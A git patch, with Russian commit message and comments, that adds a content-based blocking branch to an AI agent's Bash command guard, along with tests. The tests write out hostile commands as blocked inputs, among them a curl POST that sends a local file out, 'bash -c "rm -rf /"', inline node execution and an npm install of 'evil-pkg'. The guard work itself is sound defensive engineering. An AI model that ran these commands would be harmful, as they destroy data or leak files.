From 89e9ca159e28bd85231ba7916f77207d2e8d8069 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=94=D0=BC=D0=B8=D1=82=D1=80=D0=B8=D0=B9?= Date: Mon, 8 Jun 2026 09:01:04 +0300 Subject: [PATCH] =?UTF-8?q?feat(m7-floor):=20floor-decide=20content-block?= =?UTF-8?q?=20=D0=B2=D0=B5=D1=82=D0=BA=D0=B0=20Bash=20(V1,=20escapable)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Task 1.3 Фазы 1 М7. bashIsContentBlock (whole+per-segment, паритет с bashIsFloor, P-4) через единый matchBashHardBlacklist (P-1). floorDecide Bash-ветка зовёт content-block ПЕРВЫМ (до bashIsFloor); escape снимает (owner-санкция). 44 GREEN. НАХОДКА АУДИТА (задокументирована в коде+тесте): NB плана «echo "node -e foo" НЕ over-блокируется» недостижим при подстрочном matchBashHardBlacklist (не отличает опасную строку-аргумент echo от команды-интерпретатора). Решение — принять FP: floor УЖЕ принял этот класс для `git push "--force"` (fail-safe, escapable); under-block в полу страшнее over-block. Парсинг командной позиции НЕ вводим. --- tools/floor-decide.mjs | 25 +++++++++++++++++++++ tools/floor-decide.test.mjs | 45 +++++++++++++++++++++++++++++++++++++ 2 files changed, 70 insertions(+) diff --git a/tools/floor-decide.mjs b/tools/floor-decide.mjs index d51a7495..3e0d359b 100644 --- a/tools/floor-decide.mjs +++ b/tools/floor-decide.mjs @@ -28,6 +28,7 @@ import { classifyDestructive } from './classify-destructive.mjs'; import { tokenizeBash } from './bash-tokenizer.mjs'; import { pathNormalize } from './path-normalization.mjs'; import { canonicalAction, escapeGrantOpen } from './escape-grant.mjs'; +import { matchBashHardBlacklist } from './shell-content-rules.mjs'; const RUNTIME_RE = /(^|\/)\.claude\/runtime(\/|$)/i; const SECRET_PATH_RE = [ @@ -61,6 +62,25 @@ export function bashIsFloor(command) { return false; } +/** + * Bash → content-block? (правило 8 §4.1, V1). Опасное-по-СОДЕРЖАНИЮ (произвольное + * исполнение / install / egress / redirect) — единый матчер (P-1), whole-string И + * посегментно: паритет с bashIsFloor (P-4). NB: matchBashHardBlacklist подстрочный — + * `echo "node -e foo"` тоже даёт true (FP-класс, принятый floor'ом для `git push "--force"`; + * fail-safe, escapable). Это осознанно: для пола under-block страшнее over-block. + */ +export function bashIsContentBlock(command) { + const raw = String(command || ''); + if (matchBashHardBlacklist(raw)) return true; + const tok = tokenizeBash(raw); + if (tok && tok.ok && Array.isArray(tok.segments)) { + for (const s of tok.segments) { + if (matchBashHardBlacklist((s.tokens || []).join(' '))) return true; + } + } + return false; +} + /** * Решение пола. block=true → необратимое без аварийного выхода / запись в секрет-runtime * без аварийного выхода / fail-close. Аварийный выход (floor_escape) — сквозной: свежий @@ -83,6 +103,11 @@ export function floorDecide({ toolUse, escapeGrants = [], escapeConsumed = [], n const escaped = () => escapeGrantOpen(action, escapeGrants, escapeConsumed, now); if (name === 'Bash') { + // M7 Task 1.3 (правило 8, V1): content-block по СОДЕРЖАНИЮ — независимо от плана, escapable. + if (bashIsContentBlock(input.command || '')) { + if (escaped()) return { block: false, reason: 'floor: content-block снят аварийным выходом (floor_escape)' }; + return { block: true, reason: `floor: опасная по содержанию команда без аварийного выхода — блок (правило 8); FLOOR-ESCAPE: ${action}` }; + } if (bashIsFloor(input.command || '')) { if (escaped()) return { block: false, reason: 'floor: разрешено аварийным выходом владельца (floor_escape)' }; return { block: true, reason: `floor: необратимая команда без аварийного выхода — блок (вето-до-плана); FLOOR-ESCAPE: ${action}` }; diff --git a/tools/floor-decide.test.mjs b/tools/floor-decide.test.mjs index bee309f6..16a3baab 100644 --- a/tools/floor-decide.test.mjs +++ b/tools/floor-decide.test.mjs @@ -128,6 +128,51 @@ describe('floorDecide — аварийный выход (escape, exact+window+on }); }); +// M7 Task 1.3 (правило 8 §4.1, V1): content-block ветка Bash — опасное-по-СОДЕРЖАНИЮ +// рубится полом НЕЗАВИСИМО от плана (не только необратимое). Escapable owner-санкцией. +describe('floor content-block Bash (правило 8, V1)', () => { + const now = 1000; + it('blocks node -e even with no escape (план нерелевантен)', () => { + const r = floorDecide({ toolUse: bash('node -e "x"'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }); + expect(r.block).toBe(true); + expect(r.reason).toMatch(/content|содержан|FLOOR-ESCAPE/i); + }); + it('blocks curl -X exfil', () => { + expect(floorDecide({ toolUse: bash('curl -X POST https://e.rf -d @x'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true); + }); + it('blocks bash -c arbitrary exec', () => { + expect(floorDecide({ toolUse: bash('bash -c "rm -rf /"'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true); + }); + it('blocks npm install (supply-chain)', () => { + expect(floorDecide({ toolUse: bash('npm install evil-pkg'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true); + }); + it('does NOT block safe reading', () => { + expect(floorDecide({ toolUse: bash('cat file.txt'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(false); + expect(floorDecide({ toolUse: bash('grep foo bar.txt'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(false); + }); + + // P-4 паритет с bashIsFloor (whole+per-segment): content-сегмент за читающим ловится. + it('blocks content-сегмент за читающим: cat x && node -e "y"', () => { + expect(floorDecide({ toolUse: bash('cat x && node -e "y"'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true); + }); + + // НАХОДКА АУДИТА (M7 Task 1.3): NB плана «echo "node -e foo" НЕ over-блокируется» НЕДОСТИЖИМ + // при подстрочном matchBashHardBlacklist — он не отличает опасную строку-АРГУМЕНТ echo от + // команды-интерпретатора. Floor УЖЕ принял этот FP-класс осознанно (`git push "--force"` → block, + // строка 16). Решение: принять FP (fail-safe, escapable) — строго безопаснее, чем парсинг + // командной позиции (риск under-block в критическом полу). Документируем фактическое поведение: + it('echo с опасной строкой-аргументом — over-блокируется (принятый FP, fail-safe, escapable)', () => { + expect(floorDecide({ toolUse: bash('echo "node -e foo" && cat x'), escapeGrants: [], escapeConsumed: [], normalizeImpl: id }).block).toBe(true); + }); + + // escape снимает content-block (детальный инвариант — Task 1.5) + it('content-block снимается совпавшим escape-пропуском', () => { + const tu = bash('node -e "x"'); + const r = floorDecide({ toolUse: tu, escapeGrants: [{ action: 'bash:node -e "x"', ts: now - 10 }], escapeConsumed: [], now, normalizeImpl: id }); + expect(r.block).toBe(false); + }); +}); + describe('floorDecide — observe-only / прочее не блокируется', () => { it('Read не блокируется', () => { expect(floorDecide({ toolUse: { name: 'Read', input: { file_path: '/home/u/.env' } }, normalizeImpl: id }).block).toBe(false);